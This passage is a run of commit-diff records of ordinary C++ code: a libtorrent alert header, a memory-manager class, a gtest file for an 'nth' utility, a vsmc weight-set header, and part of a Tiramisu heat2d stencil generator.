}\n\t\tsize_t set_alert_queue_size_limit(size_t queue_size_limit_);\n\n\t\tvoid set_dispatch_function(boost::function<void(alert const&)> const&);\n\n\tprivate:\n\t\tstd::queue<alert*> m_alerts;\n\t\tmutable boost::mutex m_mutex;\n\t\tboost::condition m_condition;\n\t\tint m_alert_mask;\n\t\tsize_t m_queue_size_limit;\n\t\tboost::function<void(alert const&)> m_dispatch;\n\t};\n\n\tstruct TORRENT_EXPORT unhandled_alert : std::exception\n\t{\n\t\tunhandled_alert() {}\n\t};\n\n\tnamespace detail {\n\n\t\tstruct void_;\n\n\t\ttemplate<class Handler\n\t\t\t, BOOST_PP_ENUM_PARAMS(TORRENT_MAX_ALERT_TYPES, class T)>\n\t\tvoid handle_alert_dispatch(\n\t\t\tconst std::auto_ptr<alert>& alert_, const Handler& handler\n\t\t\t, const std::type_info& typeid_\n\t\t\t, BOOST_PP_ENUM_BINARY_PARAMS(TORRENT_MAX_ALERT_TYPES, T, *p))\n\t\t{\n\t\t\tif (typeid_ == typeid(T0))\n\t\t\t\thandler(*static_cast<T0*>(alert_.get()));\n\t\t\telse\n\t\t\t\thandle_alert_dispatch(alert_, handler, typeid_\n\t\t\t\t\t, BOOST_PP_ENUM_SHIFTED_PARAMS(\n\t\t\t\t\tTORRENT_MAX_ALERT_TYPES, p), (void_*)0);\n\t\t}\n\n\t\ttemplate<class Handler>\n\t\tvoid handle_alert_dispatch(\n\t\t\tconst std::auto_ptr<alert>& alert_\n\t\t\t, const Handler& handler\n\t\t\t, const std::type_info& typeid_\n\t\t\t, BOOST_PP_ENUM_PARAMS(TORRENT_MAX_ALERT_TYPES, void_* BOOST_PP_INTERCEPT))\n\t\t{\n\t\t\tthrow unhandled_alert();\n\t\t}\n\n\t} \/\/ namespace detail\n\n\ttemplate<BOOST_PP_ENUM_PARAMS_WITH_A_DEFAULT(\n\t\tTORRENT_MAX_ALERT_TYPES, class T, detail::void_)>\n\tstruct TORRENT_EXPORT handle_alert\n\t{\n\t\ttemplate<class Handler>\n\t\thandle_alert(const std::auto_ptr<alert>& alert_\n\t\t\t, const Handler& handler)\n\t\t{\n\t\t\t#define ALERT_POINTER_TYPE(z, n, text) (BOOST_PP_CAT(T, n)*)0\n\n\t\t\tdetail::handle_alert_dispatch(alert_, handler, typeid(*alert_)\n\t\t\t\t, BOOST_PP_ENUM(TORRENT_MAX_ALERT_TYPES, ALERT_POINTER_TYPE, _));\n\n\t\t\t#undef ALERT_POINTER_TYPE\n\t\t}\n\t};\n\n} \/\/ namespace libtorrent\n\n#endif \/\/ TORRENT_ALERT_HPP_INCLUDED\n\n<commit_msg>added missing include directive<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg, Daniel Wallin\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALERT_HPP_INCLUDED\n#define TORRENT_ALERT_HPP_INCLUDED\n\n#include <memory>\n#include <queue>\n#include <string>\n#include <typeinfo>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/thread\/mutex.hpp>\n#include <boost\/thread\/condition.hpp>\n#include <boost\/function.hpp>\n\n#include <boost\/preprocessor\/repetition\/enum_params_with_a_default.hpp>\n#include <boost\/preprocessor\/repetition\/enum.hpp>\n#include <boost\/preprocessor\/repetition\/enum_params.hpp>\n#include <boost\/preprocessor\/repetition\/enum_shifted_params.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/config.hpp\"\n#include \"libtorrent\/assert.hpp\"\n\n#ifndef TORRENT_MAX_ALERT_TYPES\n#define TORRENT_MAX_ALERT_TYPES 15\n#endif\n\nnamespace libtorrent {\n\n\tclass TORRENT_EXPORT alert\n\t{\n\tpublic:\n\n\t\t\/\/ only here for backwards compatibility\n\t\tenum severity_t { debug, info, warning, critical, fatal, none };\n\n\t\tenum category_t\n\t\t{\n\t\t\terror_notification = 0x1,\n\t\t\tpeer_notification = 0x2,\n\t\t\tport_mapping_notification = 0x4,\n\t\t\tstorage_notification = 0x8,\n\t\t\ttracker_notification = 0x10,\n\t\t\tdebug_notification = 0x20,\n\t\t\tstatus_notification = 0x40,\n\t\t\tprogress_notification = 0x80,\n\t\t\tip_block_notification = 0x100,\n\t\t\tperformance_warning = 0x200,\n\t\t\tdht_notification = 0x400,\n\n\t\t\tall_categories = 0xffffffff\n\t\t};\n\n\t\talert();\n\t\tvirtual ~alert();\n\n\t\t\/\/ a timestamp is automatically created in the constructor\n\t\tptime timestamp() const;\n\n\t\tvirtual char const* what() const = 0;\n\t\tvirtual std::string message() const = 0;\n\t\tvirtual int category() const = 0;\n\n#ifndef TORRENT_NO_DEPRECATE\n\t\tseverity_t severity() const TORRENT_DEPRECATED { return warning; }\n#endif\n\n\t\tvirtual std::auto_ptr<alert> clone() const = 0;\n\n\tprivate:\n\t\tptime m_timestamp;\n\t};\n\n\tclass TORRENT_EXPORT alert_manager\n\t{\n\tpublic:\n\t\tenum { queue_size_limit_default = 1000 };\n\n\t\talert_manager();\n\t\t~alert_manager();\n\n\t\tvoid post_alert(const alert& alert_);\n\t\tbool pending() const;\n\t\tstd::auto_ptr<alert> get();\n\n\t\ttemplate <class T>\n\t\tbool should_post() const { return (m_alert_mask & T::static_category) != 0; }\n\n\t\talert const* wait_for_alert(time_duration max_wait);\n\n\t\tvoid set_alert_mask(int m) { m_alert_mask = m; }\n\n\t\tsize_t alert_queue_size_limit() const { return m_queue_size_limit; }\n\t\tsize_t set_alert_queue_size_limit(size_t queue_size_limit_);\n\n\t\tvoid set_dispatch_function(boost::function<void(alert const&)> const&);\n\n\tprivate:\n\t\tstd::queue<alert*> m_alerts;\n\t\tmutable boost::mutex m_mutex;\n\t\tboost::condition m_condition;\n\t\tint m_alert_mask;\n\t\tsize_t m_queue_size_limit;\n\t\tboost::function<void(alert const&)> m_dispatch;\n\t};\n\n\tstruct TORRENT_EXPORT unhandled_alert : std::exception\n\t{\n\t\tunhandled_alert() {}\n\t};\n\n\tnamespace detail {\n\n\t\tstruct void_;\n\n\t\ttemplate<class Handler\n\t\t\t, BOOST_PP_ENUM_PARAMS(TORRENT_MAX_ALERT_TYPES, class T)>\n\t\tvoid handle_alert_dispatch(\n\t\t\tconst std::auto_ptr<alert>& alert_, const Handler& handler\n\t\t\t, const std::type_info& typeid_\n\t\t\t, BOOST_PP_ENUM_BINARY_PARAMS(TORRENT_MAX_ALERT_TYPES, T, *p))\n\t\t{\n\t\t\tif (typeid_ == typeid(T0))\n\t\t\t\thandler(*static_cast<T0*>(alert_.get()));\n\t\t\telse\n\t\t\t\thandle_alert_dispatch(alert_, handler, typeid_\n\t\t\t\t\t, BOOST_PP_ENUM_SHIFTED_PARAMS(\n\t\t\t\t\tTORRENT_MAX_ALERT_TYPES, p), (void_*)0);\n\t\t}\n\n\t\ttemplate<class Handler>\n\t\tvoid handle_alert_dispatch(\n\t\t\tconst std::auto_ptr<alert>& alert_\n\t\t\t, const Handler& handler\n\t\t\t, const std::type_info& typeid_\n\t\t\t, BOOST_PP_ENUM_PARAMS(TORRENT_MAX_ALERT_TYPES, void_* BOOST_PP_INTERCEPT))\n\t\t{\n\t\t\tthrow unhandled_alert();\n\t\t}\n\n\t} \/\/ namespace detail\n\n\ttemplate<BOOST_PP_ENUM_PARAMS_WITH_A_DEFAULT(\n\t\tTORRENT_MAX_ALERT_TYPES, class T, detail::void_)>\n\tstruct TORRENT_EXPORT handle_alert\n\t{\n\t\ttemplate<class Handler>\n\t\thandle_alert(const std::auto_ptr<alert>& alert_\n\t\t\t, const Handler& handler)\n\t\t{\n\t\t\t#define ALERT_POINTER_TYPE(z, n, text) (BOOST_PP_CAT(T, n)*)0\n\n\t\t\tdetail::handle_alert_dispatch(alert_, handler, typeid(*alert_)\n\t\t\t\t, BOOST_PP_ENUM(TORRENT_MAX_ALERT_TYPES, ALERT_POINTER_TYPE, _));\n\n\t\t\t#undef ALERT_POINTER_TYPE\n\t\t}\n\t};\n\n} \/\/ namespace libtorrent\n\n#endif \/\/ TORRENT_ALERT_HPP_INCLUDED\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\nclass memory_manager\n{\nprotected:\n\tmemory_manager(unsigned int memory_size) : memory_size(memory_size) { };\npublic:\n\tstruct block\n\t{\n\t\tconst unsigned int start;\n\t\tconst unsigned int size;\n\n\t\tblock(unsigned int start, unsigned int size) : start(start), size(size) { };\n\t};\n\n\tconst unsigned int memory_size;\n\n\tvirtual block alloc(unsigned int size) = 0;\n\tvirtual void free(block b) = 0;\n};<commit_msg>added two comparers for block<commit_after>#pragma once\n\n#include <functional>\n\nclass memory_manager\n{\nprotected:\n\tmemory_manager(unsigned int memory_size) : memory_size(memory_size) { };\npublic:\n\tstruct block\n\t{\n\t\tconst unsigned int start;\n\t\tconst unsigned int size;\n\n\t\tblock(unsigned int start, unsigned int size) : start(start), size(size) { };\n\t};\n\n\tconst unsigned int memory_size;\n\n\tvirtual block alloc(unsigned int size) = 0;\n\tvirtual void free(block b) = 0;\n\n\tusing compare_function = std::function<bool(const block&, const block&)>;\n\n\tstatic bool compare_increasing_size(const block& a, const block& b)\n\t{\n\t\treturn a.size < b.size;\n\t}\n\n\tstatic bool compare_memory_location(const block& a, const block& b)\n\t{\n\t\treturn a.start < b.start;\n\t}\n};<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <archie\/utils\/fused\/nth.h>\n\nnamespace {\nusing archie::utils::fused::nth;\nstruct nth_test : ::testing::Test {};\n\nTEST_F(nth_test, canUseNth) {\n  char a = 0;\n  int b = 1;\n  float c = 2.0;\n\n  auto& x = nth<0>(a, b, c);\n  auto& y = nth<1>(a, b, c);\n  auto& z = nth<2>(a, b, c);\n  EXPECT_EQ(&a, &x);\n  EXPECT_EQ(&b, &y);\n  EXPECT_EQ(&c, &z);\n\n  nth<0>(a, b, c) = 7;\n  EXPECT_EQ(7, a);\n}\n\nTEST_F(nth_test, canUseConstNth) {\n  const char a = 0;\n  const int b = 1;\n  const float c = 2.0;\n\n  auto const& x = nth<0>(a, b, c);\n  EXPECT_EQ(&a, &x);\n}\n}\n<commit_msg>nth wraped in lambda<commit_after>#include <gtest\/gtest.h>\n#include <archie\/utils\/fused\/nth.h>\n\nnamespace {\nusing archie::utils::fused::nth;\nstruct nth_test : ::testing::Test {};\n\nTEST_F(nth_test, canUseNth) {\n  char a = 0;\n  int b = 1;\n  float c = 2.0;\n\n  auto& x = nth<0>(a, b, c);\n  auto& y = nth<1>(a, b, c);\n  auto& z = nth<2>(a, b, c);\n  EXPECT_EQ(&a, &x);\n  EXPECT_EQ(&b, &y);\n  EXPECT_EQ(&c, &z);\n\n  nth<0>(a, b, c) = 7;\n  EXPECT_EQ(7, a);\n}\n\nTEST_F(nth_test, canUseConstNth) {\n  const char a = 0;\n  const int b = 1;\n  const float c = 2.0;\n\n  auto const& x = nth<0>(a, b, c);\n  EXPECT_EQ(&a, &x);\n}\n\nTEST_F(nth_test, canWrapNthWithLambda) {\n  const char a = 0;\n  const int b = 1;\n  const float c = 2.0;\n\n  auto f = [](auto&&... args) -> decltype(auto) {\n    return nth<0>(std::forward<decltype(args)>(args)...);\n  };\n  auto const& x = f(a, b, c);\n  EXPECT_EQ(&a, &x);\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef VSMC_CORE_WEIGHT_HPP\n\n#define VSMC_CORE_WEIGHT_HPP\n\n#include <vsmc\/internal\/common.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Weight set class\n\/\/\/ \\ingroup Core\nclass WeightSetBase\n{\n    public :\n\n    \/\/\/ The type of the weight and log weight vectors\n    typedef Eigen::VectorXd weight_type;\n\n    template <typename SizeType>\n    explicit WeightSetBase (SizeType N) :\n        ess_(static_cast<double>(N)), weight_(N), log_weight_(N),\n        ess_cached_(false), weight_cached_(false), log_weight_cached_(false),\n        zconst_(0), inc_weight_(N)\n    {\n        set_equal_weight();\n    }\n\n    \/\/\/ Read only access to the weights\n    const weight_type &weight () const\n    {\n        if (!weight_cached_) {\n            weight_ = log_weight().array().exp();\n            double sum = weight_.sum();\n            weight_ *= 1 \/ sum;\n            weight_cached_ = true;\n        }\n\n        return weight_;\n    }\n\n    \/\/\/ Read only access to the weights\n    template <typename SizeType, typename OutputIter>\n    void weight (SizeType N, OutputIter *first) const\n    {\n        assert(weight_.size() >= N);\n        std::copy(weight().data(), weight().data() + N, first);\n    }\n\n    \/\/\/ Read only access to the log weights\n    const weight_type &log_weight () const\n    {\n        if (!log_weight_cached_) {\n            double max_weight = log_weight_.maxCoeff();\n            log_weight_ = log_weight_.array() - max_weight;\n            log_weight_cached_ = true;\n        }\n\n        return log_weight_;\n    }\n\n    \/\/\/ Read only access to the log weights\n    template <typename SizeType, typename OutputIter>\n    void log_weight (SizeType N, OutputIter *first) const\n    {\n        VSMC_RUNTIME_ASSERT((log_weight_.size() >= N),\n                \"Size of weight set is too small\")\n\n        std::copy(log_weight().data(), log_weight().data() + N, first);\n    }\n\n    \/\/\/ Set equal weights for all particles\n    void set_equal_weight ()\n    {\n        ess_ = static_cast<double>(weight_.size());\n        weight_.setConstant(1.0 \/ weight_.size());\n        log_weight_.setConstant(0);\n\n        ess_cached_ = true;\n        weight_cached_ = true;\n        log_weight_cached_ = true;\n    }\n\n    \/\/\/ \\brief Set the log weights with a pointer\n    \/\/\/\n    \/\/\/ \\param nw The position to start the reading, it shall be valid\n    \/\/\/ after increments of size() times.\n    \/\/\/ \\param delta A multiplier appiled to the new log weights\n    void set_log_weight (const double *nw, double delta = 1)\n    {\n        Eigen::Map<const weight_type> w(nw, log_weight_.size());\n        set_log_weight(w, delta);\n    }\n\n    \/\/\/ \\brief Set the log weights with a Eigen object\n    \/\/\/\n    \/\/\/ \\param nw An Eigen::DenseBase object. One dimension Array, Vector,\n    \/\/\/ RowVector are supported. The Scalar type also need to be \\c double.\n    \/\/\/ Otherwise it will be a compile-time error\n    \/\/\/ \\param delta A multiplier appiled to the new log weights\n    template <typename D>\n    void set_log_weight (const Eigen::DenseBase<D> &nw, double delta = 1)\n    {\n        log_weight_ = nw.head(log_weight_.size());\n        if (delta != 1)\n            log_weight_ *= delta;\n        set_weight();\n    }\n\n    \/\/\/ \\brief Add to the log weights with a pointer\n    \/\/\/\n    \/\/\/ \\param iw The position to start the reading, it shall be valid\n    \/\/\/ after increments of size() times.\n    \/\/\/ \\param delta A multiplier appiled to the new incremental log weights\n    \/\/\/ \\param add_zconst Whether this incremental weights shall contribute to\n    \/\/\/ the SMC normalizing constant estimate\n    void add_log_weight (const double *iw, double delta = 1,\n            bool add_zconst = true)\n    {\n        Eigen::Map<const weight_type> w(iw, log_weight_.size());\n        add_log_weight(w, delta, add_zconst);\n    }\n\n    \/\/\/ \\brief Add to the log weights with a weight_object object\n    \/\/\/\n    \/\/\/ \\param iw An Eigen::DenseBase object. One dimension Array, Vector,\n    \/\/\/ RowVector are supported. The Scalar type also need to be \\c double.\n    \/\/\/ Otherwise it will be a compile-time error\n    \/\/\/ \\param delta A multiplier appiled to the new incremental log weights\n    \/\/\/ \\param add_zconst Whether this incremental weights shall contribute to\n    \/\/\/ the SMC normalizing constant estimate\n    template <typename D>\n    void add_log_weight (const Eigen::DenseBase<D> &iw, double delta = 1,\n            bool add_zconst = true)\n    {\n        using std::log;\n\n        inc_weight_ = iw.head(log_weight_.size());\n        if (delta != 1)\n            inc_weight_ *= delta;\n        log_weight_ += inc_weight_;\n        if (add_zconst)\n            zconst_ += log(weight().dot(inc_weight_.array().exp().matrix()));\n        set_weight();\n    }\n\n    \/\/\/ The current ESS (Effective Sample Size)\n    double ess () const\n    {\n        if (!ess_cached_) {\n            ess_ = 1 \/ weight().squaredNorm();\n            ess_cached_ = true;\n        }\n\n        return ess_;\n    }\n\n    \/\/\/ Get the value of the logarithm of SMC normalizing constant\n    double zconst () const\n    {\n        return zconst_;\n    }\n\n    \/\/\/ Reset the value of logarithm of SMC normalizing constant to zero\n    void reset_zconst ()\n    {\n        zconst_ = 0;\n    }\n\n    private :\n\n    mutable double ess_;\n    mutable weight_type weight_;\n    mutable weight_type log_weight_;\n\n    mutable bool ess_cached_;\n    mutable bool weight_cached_;\n    mutable bool log_weight_cached_;\n\n    double zconst_;\n    weight_type inc_weight_;\n\n    void set_weight ()\n    {\n        ess_cached_ = false;\n        weight_cached_ = false;\n        log_weight_cached_ = false;\n    }\n}; \/\/ class WeightSetBase\n\n} \/\/ namespace vsmc\n\nVSMC_DEFINE_TYPE_DISPATCH_TRAIT(WeightSetType, weight_set_type, WeightSetBase);\n\n#endif \/\/ VSMC_CORE_WEIGHT_HPP\n<commit_msg>cleanup<commit_after>#ifndef VSMC_CORE_WEIGHT_HPP\n#define VSMC_CORE_WEIGHT_HPP\n\n#include <vsmc\/internal\/common.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Weight set class\n\/\/\/ \\ingroup Core\nclass WeightSetBase\n{\n    public :\n\n    \/\/\/ The type of the weight and log weight vectors\n    typedef Eigen::VectorXd weight_type;\n\n    template <typename SizeType>\n    explicit WeightSetBase (SizeType N) :\n        ess_(static_cast<double>(N)), weight_(N), log_weight_(N),\n        ess_cached_(false), weight_cached_(false), log_weight_cached_(false),\n        zconst_(0), inc_weight_(N)\n    {\n        set_equal_weight();\n    }\n\n    \/\/\/ Read only access to the weights\n    const weight_type &weight () const\n    {\n        if (!weight_cached_) {\n            weight_ = log_weight().array().exp();\n            double sum = weight_.sum();\n            weight_ *= 1 \/ sum;\n            weight_cached_ = true;\n        }\n\n        return weight_;\n    }\n\n    \/\/\/ Read only access to the weights\n    template <typename SizeType, typename OutputIter>\n    void weight (SizeType N, OutputIter *first) const\n    {\n        assert(weight_.size() >= N);\n        std::copy(weight().data(), weight().data() + N, first);\n    }\n\n    \/\/\/ Read only access to the log weights\n    const weight_type &log_weight () const\n    {\n        if (!log_weight_cached_) {\n            double max_weight = log_weight_.maxCoeff();\n            log_weight_ = log_weight_.array() - max_weight;\n            log_weight_cached_ = true;\n        }\n\n        return log_weight_;\n    }\n\n    \/\/\/ Read only access to the log weights\n    template <typename SizeType, typename OutputIter>\n    void log_weight (SizeType N, OutputIter *first) const\n    {\n        VSMC_RUNTIME_ASSERT((log_weight_.size() >= N),\n                \"Size of weight set is too small\")\n\n        std::copy(log_weight().data(), log_weight().data() + N, first);\n    }\n\n    \/\/\/ Set equal weights for all particles\n    void set_equal_weight ()\n    {\n        ess_ = static_cast<double>(weight_.size());\n        weight_.setConstant(1.0 \/ weight_.size());\n        log_weight_.setConstant(0);\n\n        ess_cached_ = true;\n        weight_cached_ = true;\n        log_weight_cached_ = true;\n    }\n\n    \/\/\/ \\brief Set the log weights with a pointer\n    \/\/\/\n    \/\/\/ \\param nw The position to start the reading, it shall be valid\n    \/\/\/ after increments of size() times.\n    \/\/\/ \\param delta A multiplier appiled to the new log weights\n    void set_log_weight (const double *nw, double delta = 1)\n    {\n        Eigen::Map<const weight_type> w(nw, log_weight_.size());\n        set_log_weight(w, delta);\n    }\n\n    \/\/\/ \\brief Set the log weights with a Eigen object\n    \/\/\/\n    \/\/\/ \\param nw An Eigen::DenseBase object. One dimension Array, Vector,\n    \/\/\/ RowVector are supported. The Scalar type also need to be \\c double.\n    \/\/\/ Otherwise it will be a compile-time error\n    \/\/\/ \\param delta A multiplier appiled to the new log weights\n    template <typename D>\n    void set_log_weight (const Eigen::DenseBase<D> &nw, double delta = 1)\n    {\n        log_weight_ = nw.head(log_weight_.size());\n        if (delta != 1)\n            log_weight_ *= delta;\n        set_weight();\n    }\n\n    \/\/\/ \\brief Add to the log weights with a pointer\n    \/\/\/\n    \/\/\/ \\param iw The position to start the reading, it shall be valid\n    \/\/\/ after increments of size() times.\n    \/\/\/ \\param delta A multiplier appiled to the new incremental log weights\n    \/\/\/ \\param add_zconst Whether this incremental weights shall contribute to\n    \/\/\/ the SMC normalizing constant estimate\n    void add_log_weight (const double *iw, double delta = 1,\n            bool add_zconst = true)\n    {\n        Eigen::Map<const weight_type> w(iw, log_weight_.size());\n        add_log_weight(w, delta, add_zconst);\n    }\n\n    \/\/\/ \\brief Add to the log weights with a weight_object object\n    \/\/\/\n    \/\/\/ \\param iw An Eigen::DenseBase object. One dimension Array, Vector,\n    \/\/\/ RowVector are supported. The Scalar type also need to be \\c double.\n    \/\/\/ Otherwise it will be a compile-time error\n    \/\/\/ \\param delta A multiplier appiled to the new incremental log weights\n    \/\/\/ \\param add_zconst Whether this incremental weights shall contribute to\n    \/\/\/ the SMC normalizing constant estimate\n    template <typename D>\n    void add_log_weight (const Eigen::DenseBase<D> &iw, double delta = 1,\n            bool add_zconst = true)\n    {\n        using std::log;\n\n        inc_weight_ = iw.head(log_weight_.size());\n        if (delta != 1)\n            inc_weight_ *= delta;\n        log_weight_ += inc_weight_;\n        if (add_zconst)\n            zconst_ += log(weight().dot(inc_weight_.array().exp().matrix()));\n        set_weight();\n    }\n\n    \/\/\/ The current ESS (Effective Sample Size)\n    double ess () const\n    {\n        if (!ess_cached_) {\n            ess_ = 1 \/ weight().squaredNorm();\n            ess_cached_ = true;\n        }\n\n        return ess_;\n    }\n\n    \/\/\/ Get the value of the logarithm of SMC normalizing constant\n    double zconst () const\n    {\n        return zconst_;\n    }\n\n    \/\/\/ Reset the value of logarithm of SMC normalizing constant to zero\n    void reset_zconst ()\n    {\n        zconst_ = 0;\n    }\n\n    private :\n\n    mutable double ess_;\n    mutable weight_type weight_;\n    mutable weight_type log_weight_;\n\n    mutable bool ess_cached_;\n    mutable bool weight_cached_;\n    mutable bool log_weight_cached_;\n\n    double zconst_;\n    weight_type inc_weight_;\n\n    void set_weight ()\n    {\n        ess_cached_ = false;\n        weight_cached_ = false;\n        log_weight_cached_ = false;\n    }\n}; \/\/ class WeightSetBase\n\n} \/\/ namespace vsmc\n\nVSMC_DEFINE_TYPE_DISPATCH_TRAIT(WeightSetType, weight_set_type, WeightSetBase);\n\n#endif \/\/ VSMC_CORE_WEIGHT_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include <isl\/set.h>\n#include <isl\/union_map.h>\n#include <isl\/union_set.h>\n#include <isl\/ast_build.h>\n#include <isl\/schedule.h>\n#include <isl\/schedule_node.h>\n\n#include <tiramisu\/debug.h>\n#include <tiramisu\/core.h>\n\n#include <string.h>\n#include <Halide.h>\n#include \"halide_image_io.h\"\n\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n    \/\/ Set default tiramisu options.\n    global::set_default_tiramisu_options();\n    global::set_loop_iterator_default_data_type(p_int32);\n\n    tiramisu::function heat2d_tiramisu(\"heat2d_tiramisu\");\n\n    \/\/ Input params.\n    float alpha = 0.3;\n    float beta = 0.4;\n\n    int SIZE0 = 10000;\n    int SIZE1 = 10000;\n\n    \/\/ Output buffers.\n    int heat2d_extent_1 = SIZE1;\n    int heat2d_extent_0 = SIZE0;\n    tiramisu::buffer buff_heat2d(\"buff_heat2d\", {tiramisu::expr(heat2d_extent_1), tiramisu::expr(heat2d_extent_0)}, tiramisu::p_float32, tiramisu::a_output, &heat2d_tiramisu);\n\n    \/\/ Input buffers.\n    int input_extent_1 = SIZE1;\n    int input_extent_0 = SIZE0;\n    tiramisu::buffer buff_input(\"buff_input\", {tiramisu::expr(input_extent_1), tiramisu::expr(input_extent_0)}, tiramisu::p_float32, tiramisu::a_input, &heat2d_tiramisu);\n    tiramisu::computation input(\"[input_extent_1, input_extent_0]->{input[i1, i0]: (0 <= i1 <= (input_extent_1 + -1)) and (0 <= i0 <= (input_extent_0 + -1))}\", expr(), false, tiramisu::p_float32, &heat2d_tiramisu);\n    input.set_access(\"{input[i1, i0]->buff_input[i1, i0]}\");\n\n\n    \/\/ Define loop bounds for dimension \"heat2d_s0_y\".\n    tiramisu::constant heat2d_s0_y_loop_min(\"heat2d_s0_y_loop_min\", tiramisu::expr((int32_t)0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s0_y_loop_extent(\"heat2d_s0_y_loop_extent\", tiramisu::expr(heat2d_extent_1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n\n    \/\/ Define loop bounds for dimension \"heat2d_s0_x\".\n    tiramisu::constant heat2d_s0_x_loop_min(\"heat2d_s0_x_loop_min\", tiramisu::expr((int32_t)0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s0_x_loop_extent(\"heat2d_s0_x_loop_extent\", tiramisu::expr(heat2d_extent_0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::computation heat2d_s0(\"[heat2d_s0_y_loop_min, heat2d_s0_y_loop_extent, heat2d_s0_x_loop_min, heat2d_s0_x_loop_extent]->{heat2d_s0[heat2d_s0_y, heat2d_s0_x]: \"\n                        \"(heat2d_s0_y_loop_min <= heat2d_s0_y <= ((heat2d_s0_y_loop_min + heat2d_s0_y_loop_extent) + -1)) and (heat2d_s0_x_loop_min <= heat2d_s0_x <= ((heat2d_s0_x_loop_min + heat2d_s0_x_loop_extent) + -1))}\",\n                        tiramisu::expr((float)0), true, tiramisu::p_float32, &heat2d_tiramisu);\n    heat2d_s0.set_access(\"{heat2d_s0[heat2d_s0_y, heat2d_s0_x]->buff_heat2d[heat2d_s0_y, heat2d_s0_x]}\");\n\n    \/\/ Define loop bounds for dimension \"heat2d_s1_r__y\".\n    tiramisu::constant heat2d_s1_r__y_loop_min(\"heat2d_s1_r__y_loop_min\", tiramisu::expr((int32_t)1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s1_r__y_loop_extent(\"heat2d_s1_r__y_loop_extent\", (tiramisu::expr(input_extent_1) + tiramisu::expr((int32_t)-2)), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n\n    \/\/ Define loop bounds for dimension \"heat2d_s1_r__x\".\n    tiramisu::constant heat2d_s1_r__x_loop_min(\"heat2d_s1_r__x_loop_min\", tiramisu::expr((int32_t)1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s1_r__x_loop_extent(\"heat2d_s1_r__x_loop_extent\", (tiramisu::expr(input_extent_0) + tiramisu::expr((int32_t)-2)), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::computation heat2d_s1(\n        \"[heat2d_s1_r__y_loop_min, heat2d_s1_r__y_loop_extent, heat2d_s1_r__x_loop_min, heat2d_s1_r__x_loop_extent]->{heat2d_s1[heat2d_s1_r__y, heat2d_s1_r__x]: \"\n        \"(heat2d_s1_r__y_loop_min <= heat2d_s1_r__y <= ((heat2d_s1_r__y_loop_min + heat2d_s1_r__y_loop_extent) + -1)) and (heat2d_s1_r__x_loop_min <= heat2d_s1_r__x <= ((heat2d_s1_r__x_loop_min + heat2d_s1_r__x_loop_extent) + -1))}\",\n        tiramisu::expr(), true, tiramisu::p_float32, &heat2d_tiramisu);\n    heat2d_s1.set_expression(((tiramisu::expr(alpha) * input(tiramisu::var(\"heat2d_s1_r__y\"), tiramisu::var(\"heat2d_s1_r__x\"))) + (tiramisu::expr(beta) * (((input(tiramisu::var(\"heat2d_s1_r__y\"), (tiramisu::var(\"heat2d_s1_r__x\") + tiramisu::expr((int32_t)1))) + input(tiramisu::var(\"heat2d_s1_r__y\"), (tiramisu::var(\"heat2d_s1_r__x\") - tiramisu::expr((int32_t)1)))) + input((tiramisu::var(\"heat2d_s1_r__y\") + tiramisu::expr((int32_t)1)), tiramisu::var(\"heat2d_s1_r__x\"))) + input((tiramisu::var(\"heat2d_s1_r__y\") - tiramisu::expr((int32_t)1)), tiramisu::var(\"heat2d_s1_r__x\"))))));\n    heat2d_s1.set_access(\"{heat2d_s1[heat2d_s1_r__y, heat2d_s1_r__x]->buff_heat2d[heat2d_s1_r__y, heat2d_s1_r__x]}\");\n\n    heat2d_tiramisu.add_context_constraints(\"[heat2d_s1_r__y_loop_min, heat2d_s1_r__y_loop_extent, heat2d_s1_r__x_loop_min, heat2d_s1_r__x_loop_extent]->{heat2d_s1_r__y_loop_min = 0 and heat2d_s1_r__y_loop_extent%8=0 and 